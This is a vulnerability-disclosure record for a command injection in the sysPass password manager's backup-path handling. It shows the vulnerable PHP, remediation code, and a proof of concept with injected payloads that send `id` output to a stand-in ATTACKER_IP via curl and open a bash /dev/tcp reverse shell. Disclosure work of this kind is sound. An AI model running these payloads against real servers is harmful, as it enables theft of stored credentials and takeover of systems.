{"uuid": "f30822a4-3cc6-4e08-a824-93955f018b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63725", "type": "seen", "source": "https://gist.github.com/W40X/6747ba1b7da7bb69b0c0e162628df279", "content": "# CVE-2026-63725 \u2014 sysPass FileBackupService OS Command Injection\n\n**Reporter:** Reju Kole \n\n**Product:** sysPass Password Manager  \n**Affected Versions:** v3.x (all versions, last release 3.2.11 \u2014 2022-07-02)  \n**Fixed Version:** None (project appears abandoned; vendor unresponsive)  \n**CVE ID:** CVE-2026-63725  \n**CWE:** CWE-78 (OS Command Injection), CWE-88 (Argument Injection)  \n**CVSS v3.1:** 7.2 HIGH \u2014 `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`  \n**Coordinated by:** VulnCheck (https://vulncheck.com)  \n**Disclosure date:** 2026-07-22\n\n---\n\n## Summary\n\n`FileBackupService::doBackupFiles()` in `lib/SP/Services/Backup/FileBackupService.php` builds a `tar` shell command by string-concatenating the backup directory path (`$this-&gt;path`) **without** calling `escapeshellarg()`. An administrator who can set the backup path via the admin API or UI can inject arbitrary shell commands that execute with web server privileges when a backup is triggered.\n\nSince sysPass is a password manager, successful exploitation gives full access to all stored credentials and encryption keys.\n\n---\n\n## Vulnerable Code\n\n**File:** `lib/SP/Services/Backup/FileBackupService.php` (~line 388)\n\n```php\nprotected function doBackupFiles() {\n    $backupFileApp = $this-&gt;backupFileApp . ArchiveHandler::COMPRESS_EXTENSION;\n\n    $command = 'tar czf '\n        . $backupFileApp\n        . ' '\n        . BASE_PATH\n        . ' --exclude \"'\n        . $this-&gt;path        // \u2190 UNQUOTED, no escapeshellarg() \u2014 INJECTION POINT\n        . '\" 2&gt;&amp;1';\n\n    exec($command, $resOut, $resBakApp);\n    // ...\n}\n```\n\n`$this-&gt;path` is read from the sysPass configuration (stored in the database and writable via the admin settings API). When an administrator sets this value to contain shell metacharacters (`;`, `` ` ``, `$(...)`, etc.), the shell interprets them when `exec()` is called.\n\n---\n\n## Proof of Concept\n\n**Prerequisites:** sysPass administrator account (or API key with admin scope).\n\n### Step 1 \u2014 Set malicious backup path via admin API\n\n```bash\ncurl -X POST https://syspass.target/api/v1/config \\\n  -H \"Authorization: Bearer ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"action\": \"CONFIG_BACKUP_SAVE\",\n    \"params\": {\n      \"siteBackupPath\": \"/var/syspass/backup\\\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\"\n    }\n  }'\n```\n\nThis stores the following as the backup path in the database:\n```\n/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\n```\n\n### Step 2 \u2014 Start listener on attacker machine\n\n```bash\nnc -lvnp 8080\n```\n\n### Step 3 \u2014 Trigger backup operation\n\n```bash\ncurl -X POST https://syspass.target/api/v1/config \\\n  -H \"Authorization: Bearer ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"action\": \"CONFIG_BACKUP_RUN\"}'\n```\n\n### Step 4 \u2014 Observe the constructed shell command and callback\n\nThe resulting shell command becomes:\n```bash\ntar czf /backup/syspass.tar.gz /app --exclude \"/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\" 2&gt;&amp;1\n```\n\nAttacker listener receives:\n```\nGET /dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSk= HTTP/1.1\n```\n\u2192 base64 decodes to: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`\n\n### Reverse shell variant\n\n```\n/safe/path\"; bash -c 'bash -i &gt;&amp; /dev/tcp/ATTACKER/4444 0&gt;&amp;1'; #\n```\n\n---\n\n## Impact\n\nAn attacker with sysPass administrator credentials (or who escalates to admin via another vulnerability) can:\n\n- Execute arbitrary OS commands as the web server process (`www-data` / `apache`)\n- Read the sysPass **master password** and **encryption key** from memory or config files\n- **Decrypt all stored passwords** in the database \u2014 defeating sysPass's core security model\n- Export the entire password vault\n- Pivot to internal systems using credentials stored in sysPass\n- Install persistent backdoors on the password manager server\n\nThe severity is amplified because sysPass stores credentials for **other systems** \u2014 a single compromise gives access to an organization's entire secret store.\n\n---\n\n## Remediation\n\n**Option 1 (Quick fix):** Wrap all shell arguments with `escapeshellarg()`:\n\n```php\n$command = 'tar czf '\n    . escapeshellarg($backupFileApp)\n    . ' '\n    . escapeshellarg(BASE_PATH)\n    . ' --exclude '\n    . escapeshellarg($this-&gt;path)   // \u2190 ADD THIS\n    . ' 2&gt;&amp;1';\n```\n\n**Option 2 (Recommended):** Replace `exec()` with `proc_open()` using an explicit argument array \u2014 eliminates shell injection entirely:\n\n```php\n$args = ['tar', 'czf', $backupFileApp, BASE_PATH, '--exclude', $this-&gt;path];\n$process = proc_open($args, $descriptorSpec, $pipes);\n```\n\n**Option 3:** Validate the backup path on write \u2014 reject any path containing shell metacharacters (`;`, `|`, `&amp;`, `` ` ``, `$`, `(`, `)`, `{`, `}`, `&lt;`, `&gt;`, `\"`, `'`).\n\n---\n\n## Vendor Contact Attempts\n\n| Date | Method | Result |\n|------|--------|--------|\n| 2026-07-14 | nuxsmin@syspass.org | Bounce (address does not exist) |\n| 2026-07-14 | security@syspass.org | Bounce (address does not exist) |\n| \u2014 | GitHub @nuxsmin | No response (project last active 2022) |\n\n**Note:** sysPass appears to be an abandoned project. The last release (3.2.11) was published on 2022-07-02. No maintainer activity has been observed since then.\n\n---\n\n## References\n\n- Repository: https://github.com/nuxsmin/sysPass\n- Vulnerable file: `lib/SP/Services/Backup/FileBackupService.php`\n- CWE-78: https://cwe.mitre.org/data/definitions/78.html\n- VulnCheck: https://vulncheck.com", "creation_timestamp": "2026-07-31T18:24:59.664196Z"}